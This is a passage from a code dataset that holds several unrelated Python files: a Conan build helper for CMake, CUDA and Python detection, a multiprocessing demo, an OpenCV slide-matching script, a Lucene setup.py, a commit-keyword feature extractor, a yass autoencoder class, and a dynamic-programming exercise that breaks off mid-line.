'elseif(EXISTS \"${CMAKE_BINARY_DIR}/../conanbuildinfo.cmake\")\\n'\n )\n cmake_wrapper.write(\n ' include(${CMAKE_BINARY_DIR}/../conanbuildinfo.cmake)\\n'\n )\n cmake_wrapper.write(\n 'elseif(EXISTS \"${CMAKE_BINARY_DIR}/../../conanbuildinfo.cmake\")\\n'\n )\n cmake_wrapper.write(\n ' include(${CMAKE_BINARY_DIR}/../../conanbuildinfo.cmake)\\n'\n )\n cmake_wrapper.write(\n 'elseif(EXISTS \"${CMAKE_BINARY_DIR}/../../../conanbuildinfo.cmake\")\\n'\n )\n cmake_wrapper.write(\n ' include(${CMAKE_BINARY_DIR}/../../../conanbuildinfo.cmake)\\n'\n )\n cmake_wrapper.write('endif()\\n')\n cmake_wrapper.write('conan_basic_setup()\\n')\n\n # Add common flags\n cmake_wrapper.write(\n 'add_compile_options(' + get_cxx_flags() + ')\\n'\n )\n\n # Disable warnings and error because of warnings\n cmake_wrapper.write(\n 'add_compile_options(\"$<$:/W0;/WX->\")\\n'\n )\n\n cmake_wrapper.write(\n 'add_compile_options(\"$<$:-w;-Wno-error>\")\\n'\n )\n\n # Get build type, defaulting to debug\n build_type = str(kwargs.get('build_type', 'debug')).lower()\n\n if build_type == 'release':\n # Add release flags\n cmake_wrapper.write(\n 'add_compile_options(' + get_release_cxx_flags() + ')\\n'\n )\n elif build_type == 'debug':\n # Add debug flags\n debug_flags = get_debug_cxx_flags()\n cmake_wrapper.write(\n 'add_compile_options(' + debug_flags + ')\\n'\n )\n\n # Special case on windows, which doesn't support mixing /Ox with /RTC1\n if tools.os_info.is_windows and (\n '/O1' in debug_flags or '/O2' in debug_flags or '/Ox' in debug_flags\n ):\n cmake_wrapper.write(\n 'string(REGEX REPLACE \"/RTC[1csu]+\" \"\" CMAKE_C_FLAGS_DEBUG \"${CMAKE_C_FLAGS_DEBUG}\")\\n'\n )\n cmake_wrapper.write(\n 'string(REGEX REPLACE \"/RTC[1csu]+\" \"\" CMAKE_CXX_FLAGS_DEBUG \"${CMAKE_CXX_FLAGS_DEBUG}\")\\n'\n )\n elif build_type == 'relwithdebinfo':\n # Add relwithdebinfo flags\n cmake_wrapper.write(\n 'add_compile_options(' + get_relwithdebinfo_cxx_flags() + ')\\n'\n )\n\n # Write CUDA specific code\n setup_cuda = kwargs.get('setup_cuda', False)\n\n if setup_cuda:\n cmake_wrapper.write(\n 'find_package(CUDA)\\n'\n )\n\n cmake_wrapper.write(\n 'CUDA_SELECT_NVCC_ARCH_FLAGS(ARCH_FLAGS ' + ' '.join(get_cuda_arch()) + ')\\n'\n )\n\n cmake_wrapper.write(\n 'LIST(APPEND CUDA_NVCC_FLAGS ${ARCH_FLAGS})\\n'\n )\n\n # Propagate host CXX flags\n host_cxx_flags = \",\\\\\\\"\"\n host_cxx_flags += get_full_cxx_flags(build_type=build_type).replace(' ', \"\\\\\\\",\\\\\\\"\")\n host_cxx_flags += \"\\\\\\\"\"\n\n cmake_wrapper.write(\n 'LIST(APPEND CUDA_NVCC_FLAGS -Xcompiler ' + host_cxx_flags + ')\\n'\n )\n\n # Write additional options\n additional_options = kwargs.get('additional_options', None)\n if additional_options:\n cmake_wrapper.write(additional_options + '\\n')\n\n # Write the original subdirectory / include\n if cmakelists_exists:\n cmake_wrapper.write('include(\"CMakeLists.txt.upstream\")\\n')\n else:\n source_subfolder = kwargs.get(\n 'source_subfolder', 'source_subfolder'\n )\n cmake_wrapper.write(\n 'add_subdirectory(\"' + source_subfolder + '\")\\n'\n )\n\n\n\n#\n# CUDA Defaults\n#\ndef get_cuda_version():\n return ['9.2', '10.0', '10.1', '10.2', '11.0', '11.1', '11.2', '11.4', 'None']\n\n\ndef get_cuda_arch():\n return ['5.0', '5.2', '6.0', '6.1', '7.0', '7.2', '7.5', '8.0', '8.6']\n\n\n\n#\n# Conan fixes\n#\ndef __fix_conan_dependency_path(conanfile, file_path, package_name):\n try:\n tools.replace_in_file(\n file_path,\n conanfile.deps_cpp_info[package_name].rootpath.replace('\\\\', '/'),\n \"${CONAN_\" + package_name.upper() + \"_ROOT}\",\n strict=False\n )\n except Exception:\n conanfile.output.info(\"Ignoring {0}...\".format(package_name))\n\n\ndef __cmake_fix_macos_sdk_path(conanfile, file_path):\n try:\n # Read in the file\n with open(file_path, 'r') as file:\n file_data = file.read()\n\n if file_data:\n # Replace the target string\n pattern = (r';/Applications/Xcode\\.app/Contents/Developer'\n r'/Platforms/MacOSX\\.platform/Developer/SDKs/MacOSX\\d\\d\\.\\d\\d\\.sdk/usr/include')\n\n # Match sdk path\n file_data = re.sub(pattern, '', file_data, re.M)\n\n # Write the file out again\n with open(file_path, 'w') as file:\n file.write(file_data)\n\n except Exception:\n conanfile.output.info(\n \"Skipping macOS SDK fix on {0}...\".format(file_path)\n )\n\n\ndef fix_conan_path(\n conanfile,\n root,\n wildcard,\n build_folder=None\n):\n # Normalization\n package_folder = conanfile.package_folder.replace('\\\\', '/')\n\n if build_folder:\n build_folder = build_folder.replace('\\\\', '/')\n\n conan_root = '${CONAN_' + conanfile.name.upper() + '_ROOT}'\n\n # Recursive walk\n for path, subdirs, names in os.walk(root):\n for name in names:\n if fnmatch(name, wildcard):\n wildcard_file = os.path.join(path, name)\n\n # Fix package_folder paths\n tools.replace_in_file(\n wildcard_file, package_folder, conan_root, strict=False\n )\n\n # Fix build folder paths\n if build_folder:\n tools.replace_in_file(\n wildcard_file, build_folder, conan_root, strict=False\n )\n\n # Fix specific macOS SDK paths\n if tools.os_info.is_macos:\n __cmake_fix_macos_sdk_path(\n conanfile, wildcard_file\n )\n\n # Fix dependencies paths\n for requirement in conanfile.requires:\n __fix_conan_dependency_path(\n conanfile, wildcard_file, requirement\n )\n\n\n\n#\n# Baseclass for CUDA Dependency\n#\n\n## somehow exporting does not provide access to package options\n# so defining cuda_root only works with conan create, but not conan export ..\nCUDA_ROOT_DEFAULT = None\nif tools.os_info.is_windows:\n CUDA_ROOT_DEFAULT = \"C:\\\\Program Files\\\\NVIDIA GPU Computing Toolkit\\\\CUDA\\\\v11.1\"\nelif tools.os_info.is_linux:\n CUDA_ROOT_DEFAULT = \"/usr/local/cuda-11.1\"\n\n# reusable code for ConanFile\nclass CampCudaBase(object):\n \"\"\"\n BaseClass for Conan PythonRequires for packages that have a cuda dependency.\n\n only use these methods in one of: validate(), build(), package(), package_info()\n\n Expects two options: \n 'cuda_version': requested CUDA Version\n 'cuda_root': path to cuda sdk root directory\n \"\"\"\n\n @LazyProperty\n def _cuda_sdk_root(self):\n cuda_version = str(self.options.get_safe(\"cuda_version\", \"ANY\"))\n cuda_root = str(self.options.get_safe(\"cuda_root\", \"ANY\"))\n if cuda_root == \"ANY\":\n cuda_root = None\n if cuda_version == \"ANY\":\n cuda_version = None\n \n if cuda_root is None:\n cuda_root, cv = self.__cuda_get_sdk_root_and_version(cuda_version)\n if cuda_version is not None and cv != cuda_version:\n raise ValueError(\"CUDA SDK Version requested != found ({0} vs {1})\".format(cuda_version, cv))\n if cuda_version is None:\n cuda_version = cv\n if cuda_root is None:\n cuda_root = CUDA_ROOT_DEFAULT\n \n\n if cuda_version is not None:\n if not self.__cuda_check_sdk_version(cuda_root, cuda_version):\n raise RuntimeError(\"No suitable CUDA SDK Root directory found - cuda_check_sdk_version failed.\")\n\n return cuda_root\n\n\n @LazyProperty\n def _cuda_version(self):\n cuda_root = self._cuda_sdk_root\n if cuda_root is None:\n return None\n return self.__cuda_get_sdk_version(cuda_root)\n\n @LazyProperty\n def _cuda_bin_dir(self):\n return os.path.join(self._cuda_sdk_root, \"bin\")\n\n\n @LazyProperty\n def _cuda_lib_dir(self):\n return os.path.join(self._cuda_sdk_root, \"lib\")\n\n\n @LazyProperty\n def _cuda_include_dir(self):\n return os.path.join(self._cuda_sdk_root, \"include\")\n\n # internal methods\n\n def __cuda_get_sdk_root_and_version(self, cuda_version=None):\n cuda_sdk_root = None\n cuda_version_found = None\n\n supported_versions = reversed([v for v in get_cuda_version() if v != 'None'])\n find_cuda_versions = []\n if cuda_version is not None:\n if cuda_version not in supported_versions:\n raise ValueError(\"Unsupported CUDA SDK Version requested: {0}\".format(cuda_version))\n find_cuda_versions = [cuda_version,]\n else:\n find_cuda_versions = supported_versions\n\n\n if tools.os_info.is_linux:\n for cv in find_cuda_versions:\n cuda_sdk_root = \"/usr/local/cuda-{0}\".format(cv)\n if os.path.exists(cuda_sdk_root):\n cuda_sdk_root = cuda_sdk_root\n cuda_version_found = cv\n break\n if tools.os_info.is_windows:\n default_path = \"C:\\\\Program Files\\\\NVIDIA GPU Computing Toolkit\\\\CUDA\\\\v{}\"\n for version in find_cuda_versions:\n cuda_sdk_root = default_path.format(version)\n if os.path.exists(cuda_sdk_root):\n cuda_sdk_root = cuda_sdk_root\n cuda_version_found = version\n break\n if cuda_sdk_root is None or cuda_version_found is None:\n raise ValueError(\"Could not find CUDA Sdk version: {0}\".format(cuda_version or \"ANY\"))\n\n self.output.info(\"Found CUDA SDK {0} at: {1}\".format(cuda_version_found, cuda_sdk_root))\n return cuda_sdk_root, cuda_version_found\n\n\n def __cuda_get_nvcc_filename(self, cuda_sdk_root):\n return os.path.join(cuda_sdk_root, 'bin', 'nvcc')\n\n\n def __cuda_run_nvcc_command(self, cuda_sdk_root, command):\n if cuda_sdk_root is None:\n raise ValueError(\"Invalid CUDA SDK root: None\")\n nvcc_executable = self.__cuda_get_nvcc_filename(cuda_sdk_root)\n output = StringIO()\n self.output.info('running command: \"{0}\" {1}'.format(nvcc_executable, command))\n self.run('\"{0}\" {1}'.format(nvcc_executable, command), output=output, run_environment=True)\n result = output.getvalue().strip()\n return result if result and result != \"\" else None\n\n\n\n def __cuda_get_sdk_version(self, cuda_sdk_root):\n cmd = \"--version\"\n result = self.__cuda_run_nvcc_command(cuda_sdk_root, cmd)\n match = re.match( r\"^.*\\, release\\s(\\S+)\\,.*$\", result.splitlines()[3])\n success = True\n if match:\n version = match.groups()[0]\n self.output.info(\"Found CUDA SDK Version {0}\".format(version))\n return version\n return None\n\n\n def __cuda_check_sdk_version(self, cuda_sdk_root, cuda_version):\n if cuda_sdk_root is None:\n raise ValueError(\"Invalid CUDA SDK root: None\")\n version = self.__cuda_get_sdk_version(cuda_sdk_root)\n if version != cuda_version:\n self.output.error(\"Invalid CUDA SDK version found: {0} expected: {1}\".format(version, cuda_version))\n return False\n return True\n\n\n\n#\n# Python configuration\n#\n\n\n# reusable code for ConanFile\nclass CampPythonBase(object):\n \"\"\"\n BaseClass for Conan PythonRequires for packages that have a python dependency.\n\n only use these methods in one of: validate(), build(), package(), package_info()\n \n Expects two options: \n 'python': name and or path to python interpreter\n 'with_system_python': flag to state if system python should be used\n \"\"\"\n\n\n @LazyProperty\n def _python_exec(self):\n cmd = None\n with_system_python = True\n if 'python' in self.options:\n cmd = str(self.options.python)\n if 'with_system_python' in self.options:\n with_system_python = bool(self.options.with_system_python)\n return self.__python_get_interpreter_fullpath(cmd, with_system_python)\n\n @LazyProperty\n def _python_version(self):\n return self.__python_get_version(self._python_exec)\n\n @LazyProperty\n def _python_version_nodot(self):\n return self.__python_get_version_nodot(self._python_exec)\n\n @LazyProperty\n def _python_lib(self):\n py_lib = None\n if tools.os_info.is_windows and not tools.os_info.detect_windows_subsystem():\n py_lib = self._python_stdlib\n if py_lib:\n py_lib = os.path.join(os.path.dirname(py_lib), \"libs\", \"python\" + self._python_version_nodot + \".lib\")\n elif tools.os_info.is_macos:\n py_lib = os.path.join(self.__python_get_sysconfig_var('LIBDIR'), self.__python_get_sysconfig_var('LIBRARY'))\n else:\n py_lib = os.path.join(self.__python_get_sysconfig_var('LIBDIR'), self.__python_get_sysconfig_var('LDLIBRARY'))\n return py_lib\n\n @LazyProperty\n def _python_lib_ldname(self):\n py_lib_ldname = None\n if tools.os_info.is_windows and not tools.os_info.detect_windows_subsystem():\n py_lib_ldname = os.path.basename(self._python_lib)\n else:\n py_lib_ldname = re.sub(r'lib', '', os.path.splitext(os.path.basename(self._python_lib))[0])\n return py_lib_ldname\n\n @LazyProperty\n def _python_stdlib(self):\n return self.__python_get_sysconfig_path(\"stdlib\")\n\n @LazyProperty\n def _python_prefix(self):\n return self.__python_get_sysconfig_var(\"prefix\")\n\n @LazyProperty\n def _python_bindir(self):\n return self.__python_get_sysconfig_var(\"BINDIR\")\n\n @LazyProperty\n def _python_include_dir(self):\n for py_include in [self.__python_get_sysconfig_path(\"include\"), self.__python_get_sysconfig_var('INCLUDEPY')]:\n if os.path.exists(os.path.join(py_include, 'pyconfig.h')):\n return py_include\n return None\n\n\n #internal functions\n def __python_run_command(self, python_exec, command):\n output = StringIO()\n self.output.info('running python command: \"{0}\" -c \"{1}\"'.format(python_exec, command))\n self.run('\"{0}\" -c \"{1}\"'.format(python_exec, command), output=output, run_environment=True)\n return output.getvalue().strip()\n\n\n def __python_get_interpreter_fullpath(self, command=None, use_system_python=True):\n if command is None and not use_system_python:\n raise ValueError(\"Python interpreter not found - if use_system_python=False, you must specify a command\")\n if command is None:\n if tools.os_info.is_windows and not tools.os_info.detect_windows_subsystem():\n command = \"python\"\n else:\n command = \"python3\"\n\n try:\n return self.__python_run_command(command, \"import sys; print(sys.executable)\")\n except Exception as e:\n self.output.error(\"Error while running python command: {0}\".format(e))\n raise RuntimeError(\"Error while executing python command.\")\n\n\n def __python_get_sysconfig_var(self, var_name):\n try:\n cmd = \"import sysconfig; print(sysconfig.get_config_var('{0}'))\".format(var_name)\n return self.__python_run_command(self._python_exec, cmd)\n except Exception as e:\n self.output.error(\"Error while running python command: {0}\".format(e))\n raise RuntimeError(\"Error while executing python command.\")\n\n\n def __python_get_sysconfig_path(self, path_name):\n try:\n cmd = \"import sysconfig; print(sysconfig.get_path('{0}'))\".format(path_name)\n return self.__python_run_command(self._python_exec, cmd)\n except Exception as e:\n self.output.error(\"Error while running python command: {0}\".format(e))\n raise RuntimeError(\"Error while executing python command.\")\n\n def __python_get_version(self, python_exec):\n try:\n cmd = \"from sys import *; print('{0}.{1}'.format(version_info[0],version_info[1]))\"\n return self.__python_run_command(self._python_exec, cmd)\n except Exception as e:\n self.output.error(\"Error while running python command: {0}\".format(e))\n raise RuntimeError(\"Error while executing python command.\")\n\n\n def __python_get_version_nodot(self, python_exec):\n try:\n cmd = \"from sys import *; print('{0}{1}'.format(version_info[0],version_info[1]))\"\n return self.__python_run_command(self._python_exec, cmd)\n except Exception as e:\n self.output.error(\"Error while running python command: {0}\".format(e))\n raise RuntimeError(\"Error while executing python command.\")\n\n\n\n\n\n#\n# CMake default implementation\n#\n\n\n# reusable code for ConanFile\nclass CampCMakeBase(object):\n \"\"\"\n BaseClass for Conan PythonRequires for packages that build with cmake.\n \"\"\"\n\n source_subfolder = None\n build_subfolder = None\n\n def _configure_cmake(self):\n cmake = CMake(self)\n cmake.verbose = True\n\n def add_cmake_option(option, value):\n var_name = \"{}\".format(option).upper()\n value_str = \"{}\".format(value)\n var_value = \"ON\" if value_str == 'True' else \"OFF\" if value_str == 'False' else value_str\n cmake.definitions[var_name] = var_value\n\n for option, value in self.options.items():\n add_cmake_option(option, value)\n\n cmake.configure(source_folder=self.source_subfolder, build_folder=self.build_subfolder)\n return cmake\n\n def build(self):\n self._before_configure()\n cmake = self._configure_cmake()\n self._before_build(cmake)\n cmake.build()\n self._after_build()\n\n def package(self):\n cmake = self._configure_cmake()\n self._before_package(cmake)\n cmake.install()\n self._after_package()\n\n def package_info(self):\n self.cpp_info.libs = tools.collect_libs(self)\n self._after_package_info()\n\n\n\n # customization points\n\n def _before_configure(self):\n pass\n\n def _before_build(self, cmake):\n pass\n\n def _after_build(self):\n pass\n\n def _before_package(self, cmake):\n pass\n\n def _after_package(self):\n pass\n\n def _after_package_info(self):\n pass\n\nclass CommonConan(ConanFile):\n name = 'camp_common'\n upstream_version = '0.1'\n package_revision = ''\n version = \"{0}{1}\".format(upstream_version, package_revision)\n\n description = 'Helper functions for conan'\n url = 'https://github.com/TUM-CONAN/conan-camp-common'\n build_policy = 'missing'\n","sub_path":"conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":25456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"611112342","text":"from multiprocessing import Process\n\n\nclass MyProcess(Process):\n def run(self):\n print(self.name)\n\n\ndef main():\n p1 = MyProcess(name='MyProcess', args=(1, 2, 3), kwargs={'name': '时间之外', 'age': 21})\n p1.start()\n print(p1.is_alive())\n p1.join()\n print(111111111)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"learning_0408_system_program/process___.py","file_name":"process___.py","file_ext":"py","file_size_in_byte":334,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"426608147","text":"'''Matching video lecture slides to the actual slides'''\nimport cv2 as cv\nimport numpy as np\nimport os\nimport sys\n\n# Arguments\nSLIDE = sys.argv[1]\nFRAME = sys.argv[2]\n\n# Filename as per rollnumber\nFILE = os.path.join('.', '20171066_20171062.txt')\n\n# Filenames\nslide_names = sorted(os.listdir(SLIDE))\nframe_names = sorted(os.listdir(FRAME))\n\n# Variable Initializations\nslides = []\nframes = []\nnormxcorr = []\nmatches = []\n\n# Read Slides\nfor name in slide_names:\n image = cv.imread(os.path.join(SLIDE, name), 0)\n slides.append({'name': name, 'image': cv.resize(image, (1398, 1080))})\n\n# Read Frames\nfor name in frame_names:\n image = cv.imread(os.path.join(FRAME, name), 0)\n frames.append({'name': name, 'image': cv.resize(image, (1398, 1080))})\n\n\n# Match Frames to Slides\nfor frame in frames:\n normxcorr = []\n for slide in slides:\n # corr = cv.matchTemplate(slide['image'], frame['image'], cv.TM_CCORR_NORMED)\n corr = cv.matchTemplate(slide['image'], frame['image'], cv.TM_CCOEFF)\n normxcorr.append(corr)\n matchVal = max(normxcorr)\n matchSlide = normxcorr.index(matchVal)\n\n matches.append((frame['name'], slides[matchSlide]['name']))\n\n# Writing to a file\noutfile = open(FILE, 'w')\nfor match in matches:\n outfile.write(match[0] + ' ' + match[1] + '\\n')\n\noutfile.close()\n\n","sub_path":"ccoeff.py","file_name":"ccoeff.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"600201849","text":"from distutils.core import setup, Extension\n\nlucene = Extension('lucene',\n sources = ['src/lucene.c'],\n libraries = ['apr-1', 'lucene'],\n library_dirs=['/usr/local/apr/lib'],\n include_dirs=['/usr/local/apr/include/apr-1'],)\n\nsetup (name = 'lucene',\n version = '0.1',\n description = 'Lucene for Python',\n ext_modules=[lucene])\n","sub_path":"bindings/python/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"142873598","text":"\"\"\"\"\n@author : Richard Delwin Myloth\n\"\"\"\n\nimport string\nimport re\nfrom Features.author_details import AuthorDetails\nimport random\n\n\n# Used to extract numeric data \n# input : dataframe and column name\nclass Size:\n\n \"\"\"\n This class is used to remove non-numeric data, leaving behind only numeric data\n also accounts for removing whitespaces which might be present for merge commits\n \"\"\"\n\n def __init__(self, data):\n \"\"\"\n :param data: the dataframe consisting of the columns -\n * files changed\n * lines added\n * lines deleted\n from which non-numeric data are removed inplace (type - pandas.DataFrame)\n \"\"\"\n self.data = data\n\n def keep_numeric_data(self, column_name):\n\n \"\"\"\n\n :param column_name: could be (intended for) files changed, lines added, lines deleted\n but can also be used for any other column which is supposed to be having only numeric data\n (type - String)\n :return: None\n \"\"\"\n\n for row_num in range(self.data.shape[0]):\n\n numeric_data = \"\"\n error_ = False\n\n if self.data[column_name].iloc[row_num] != 'nan':\n\n row_value = str(self.data[column_name].iloc[row_num]).strip()\n\n try:\n numeric_data = int(row_value[:row_value.index(\" \")])\n except ValueError as v:\n error_ = True\n\n if not error_ and numeric_data:\n self.data[column_name].iloc[row_num] = int(numeric_data)\n\n return\n\n\n\nclass Key:\n \"\"\"\n To extract keywords from the commit messages\n # the keywords classified into five categories\n # 1. corrective (\"fix\"\"bug\", \"wrong\", \"fail\", \"problem\")\n # 2. addition, (\"new\", \"add\", \"requirement\", \"initial\", \"create\")\n # 3. non functional (\"doc\", \"merge\")\n # 4. perfective (\"clean\", \"better\")\n # 5. preventive (\"test\", \"junit\", \"coverage\", \"assert\")\n \"\"\"\n\n def __init__(self, data):\n\n \"\"\"\n :param data: the dataframe consisting of the commit messages from\n which the keywords are extracted, mapped to integer values and cleaned inplace (type - pandas.DataFrame)\n \"\"\"\n\n\n self.data = data\n\n self.keywords = {\"fix\": 9, \"bug\": 9, \"wrong\": 9, \"fail\": 9, \"problem\": 9, \"imp\": 8,\n \"new\": 7, \"add\": 7, \"requirement\": 7, \"initial\": 7, \"create\": 7,\n \"doc\": 2, \"merge\": 2,\n \"clean\": 3, \"better\": 3,\n \"test\": 1, \"junit\": 1, \"coverage\": 1, \"assert\": 1,\n }\n\n def map_keywords_to_val(self, column_name):\n \"\"\"\n\n :param column_name: comment (type - String)\n :return: None\n\n The commented parts: -\n + Lines are commented to just find the keywords and sort them rather than assigning values\n \"\"\"\n i = 0\n z = 0\n self.data[\"msg_len\"] = [0 for _ in range(self.data.shape[0])]\n\n for row_num in range(self.data.shape[0]):\n\n keys_in_msg = []\n message = self.data[column_name].iloc[row_num]\n\n if str(message) == \"nan\":\n continue\n\n len_msg = len(message)\n message = message.lower().strip()\n message = message.translate(str.maketrans('', '', string.punctuation))\n message = re.sub(\" +\", \" \", message).split(\" \")\n\n for key in self.keywords.keys():\n if key in message:\n keys_in_msg.append(key)\n\n # val = 0\n # if keys_in_msg:\n # for key in keys_in_msg:\n # val += self.keywords[key]\n\n keys_in_msg.sort()\n\n self.data[column_name].iloc[row_num] = \" \".join(keys_in_msg)\n # self.data[column_name].iloc[row_num] = val\n # i += 1\n # if val == 0:\n # z += 1\n\n self.data[\"msg_len\"].iloc[row_num] = len_msg\n\n return #{\"modified rows\": i, \"zero values\": z, \"non zero\": i - z}\n\n\n# To map authors to randomly assigned experience values\nclass Authors:\n \"\"\"\n This class is concerned with extracting author names and mapping them to a numeric value\n\n ******************************************************************************************************\n ** However this class isn't used, instead the author_details.py is used to just clean author names ***\n ******************************************************************************************************\n\n Done:\n extract names\n map values from distinct string to integers\n\n Additional:\n * extract number of commits for an author\n \"\"\"\n\n\n def __init__(self, data, column_name):\n \"\"\"\n\n :param data: The DataFrame consisting of authors\n :param column_name: author\n \"\"\"\n\n self.data = data\n self.column_name = column_name\n # author = AuthorDetails(self.data)\n # self.author_names = author.get_author_names(column_name)\n\n self.author_names = self.data[column_name].unique()\n self.author_rating = {}\n\n for name in self.author_names:\n self.author_rating[name] = random.randint(2, 20)\n self.author_rating[\"RichardDelwin\"] = 12\n\n def map_author_to_val(self):\n\n \"\"\"\n This function was intended to clean author names and map them to integer values\n which could have been an indication for author commit experience, author's seniority etc.\n :return: Dictionary of authors\n\n \"\"\"\n\n i = 0\n for row_num in range(self.data.shape[0]):\n\n author_name = self.data.author.iloc[row_num]\n\n if author_name in self.author_rating:\n val = self.author_rating[author_name]\n self.data.author.iloc[row_num] = val\n else:\n i += 1\n # print(\"Author not found in dictionary\")\n\n return {\"Authors not accounted\": i, \"Total Authors\": len(self.author_names)}\n","sub_path":"Features/feature_extraction.py","file_name":"feature_extraction.py","file_ext":"py","file_size_in_byte":6133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"47242180","text":"import logging\nimport numpy as np\nimport tensorflow as tf\nfrom sklearn.decomposition import PCA\n\nfrom yass.util import load_yaml, change_extension\nfrom yass.neuralnetwork.model import Model\n\n\nclass AutoEncoder(Model):\n \"\"\"\n Class for training and running convolutional neural network detector\n for spike detection\n and autoencoder for feature extraction.\n\n Attributes:\n -----------\n n_features: int\n number of features to be extracted from the detected waveforms.\n n_input: float\n temporal size of a spike feeded into ae.\n W_ae: tf.Variable\n [n_input, n_features] weight matrix for the autoencoder.\n saver: tf.train.Saver\n saver object for the autoencoder.\n detector: NeuralNetDetector\n Instance of detector\n \"\"\"\n\n def __init__(self, path_to_model, waveform_length, n_features,\n input_tensor=None):\n \"\"\"\n Initializes the attributes for the class NeuralNetDetector.\n\n Parameters:\n -----------\n path_to_model: str\n location of trained neural net autoencoder\n \"\"\"\n self.path_to_model = path_to_model\n self.waveform_length = waveform_length\n self.n_features = n_features\n\n W_ae = tf.Variable(\n tf.random_uniform((waveform_length, n_features),\n -1.0 / np.sqrt(waveform_length),\n 1.0 / np.sqrt(waveform_length)))\n self.vars_dict = {\"W_ae\": W_ae}\n self.saver = tf.train.Saver(self.vars_dict)\n\n # make score tensorflow tensor from waveform\n self.score_tf = self._make_graph(input_tensor)\n\n @classmethod\n def load(cls, path_to_model, input_tensor=None):\n\n if not path_to_model.endswith('.ckpt'):\n path_to_model = path_to_model+'.ckpt'\n\n # load parameter of autoencoder\n path_to_params = change_extension(path_to_model, 'yaml')\n params = load_yaml(path_to_params)\n\n return cls(path_to_model, params['waveform_length'],\n params['n_features'], input_tensor)\n\n def _make_graph(self, input_tensor):\n \"\"\"\n Make a tensorflow tensor that outputs scores\n\n Parameters\n -----------\n input_tensor: tf tensor (n_spikes, n_temporal_size, n_neigh)\n tensorflow tensor that contains waveforms of spikes\n\n Returns\n -------\n score_tf: tf tensor (n_spikes, n_features, n_neigh)\n tensorflow tensor that produces scores\n \"\"\"\n # input tensor (waveforms)\n if input_tensor is None:\n self.x_tf = tf.placeholder(\"float\",\n [self.waveform_length,\n None])\n score_tf = tf.matmul(self.x_tf, self.vars_dict['W_ae'])\n else:\n self.x_tf = input_tensor\n # transpose to the expected input and flatten\n reshaped_wf = tf.reshape(tf.transpose(self.x_tf, [0, 2, 1]),\n [-1, self.waveform_length])\n n_neigh = tf.shape(self.x_tf)[2]\n\n mult = tf.matmul(reshaped_wf, self.vars_dict['W_ae'])\n mult_reshaped = tf.reshape(mult, [-1, n_neigh, self.n_features])\n score_tf = tf.transpose(mult_reshaped, [0, 2, 1])\n\n return score_tf\n\n def load_rotation(self, sess):\n \"\"\"\n Load neural network rotation matrix\n \"\"\"\n\n #with tf.Session() as sess:\n self.saver.restore(sess, self.path_to_model)\n rotation = sess.run(self.vars_dict['W_ae'])\n\n return rotation\n\n def restore(self, sess):\n \"\"\"Restore tensor values\n \"\"\"\n self.saver.restore(sess, self.path_to_model)\n\n def predict(self, waveforms, sess):\n \"\"\"Apply autoencoder\n \"\"\"\n n_waveforms, waveform_length, n_neigh = waveforms.shape\n self._validate_dimensions(waveform_length)\n\n #with tf.Session() as sess:\n self.restore(sess)\n\n scores = sess.run(self.score_tf,\n feed_dict={self.x_tf: waveforms})\n return scores\n\n def fit(self, x_train):\n \"\"\"\n Trains the autoencoder for feature extraction\n\n Parameters:\n -----------\n x_train: np.array\n [number of training data, temporal length] noisy isolated spikes\n for training the autoencoder.\n y_train: np.array\n [number of training data, temporal length] clean (denoised)\n isolated spikes as labels.\n path_to_model: string\n name of the .ckpt to be saved.\n \"\"\"\n # FIXME: y_ae no longer used\n\n logger = logging.getLogger(__name__)\n\n # parameters\n n_data, waveform_length = x_train.shape\n\n self._validate_dimensions(waveform_length)\n\n pca = PCA(n_components=self.n_features).fit(x_train)\n\n self.vars_dict['W_ae'] = (tf.Variable((pca.components_.T)\n .astype('float32')))\n\n # saver\n saver = tf.train.Saver(self.vars_dict)\n\n ############\n # training #\n ############\n\n logger.info('Training autoencoder network...')\n\n with tf.Session() as sess:\n init_op = tf.global_variables_initializer()\n sess.run(init_op)\n saver.save(sess, self.path_to_model)\n\n path_to_params = change_extension(self.path_to_model, 'yaml')\n\n params = dict(waveform_length=self.waveform_length,\n n_features=self.n_features)\n\n self._save_params(path=path_to_params, params=params)\n","sub_path":"src/yass/neuralnetwork/model_autoencoder.py","file_name":"model_autoencoder.py","file_ext":"py","file_size_in_byte":5628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"95191744","text":"#Brandon Botezatu\n#CS-327, Spring 2018\nfrom similarities import similarity\nimport numpy as np\n\ndef read_input(filename):\n file = open(filename, 'r')\n line_one = file.readline().rstrip('\\n').split(' ')\n n_val = int(line_one[0])\n m_val = int(line_one[1])\n \n vert_string = \"\"\n \n for i in range(0, n_val - 1):\n vert_string += file.readline()\n if not i == n_val - 2:\n vert_string += ';'\n \n vert_edge_matrix = np.matrix(vert_string)\n \n hyphen = file.readline()\n horiz_string = \"\"\n \n for i in range(0, n_val):\n horiz_string += file.readline()\n if not i == n_val - 1:\n horiz_string += ';'\n horiz_edge_matrix = np.matrix(horiz_string)\n \n answer = int(file.readline().rstrip('\\n'))\n return n_val, m_val, vert_edge_matrix, horiz_edge_matrix, answer\n \ndef mtp(n_val, m_val, vert_matrix, horiz_matrix):\n s = np.zeros((n_val, m_val))\n for j in range(1, m_val):\n s[0, j] = s[0, j-1] + horiz_matrix[0, j-1]\n for i in range(1, n_val):\n s[i, 0] = s[i-1, 0] + vert_matrix[i-1, 0]\n \n for i in range(1, n_val):\n for j in range(1, m_val):\n s[i,j] = max(s[i, j-1] + horiz_matrix[i,j-1], s[i-1,j] + vert_matrix[i-1, j])\n return(s[n_val-1, m_val-1])\n \ndef check(filename):\n n_val, m_val, vert_edge_matrix, horiz_edge_matrix, answer = read_input(filename)\n if mtp(n_val, m_val, vert_edge_matrix, horiz_edge_matrix) == answer:\n print(\"Test passed for \" + filename)\n else:\n print(\"Test FAILED for \" + filename)\n\ndef main():\n check('P2_short.txt')\n check('P2_long.txt')\n \nif __name__ == '__main__':\n 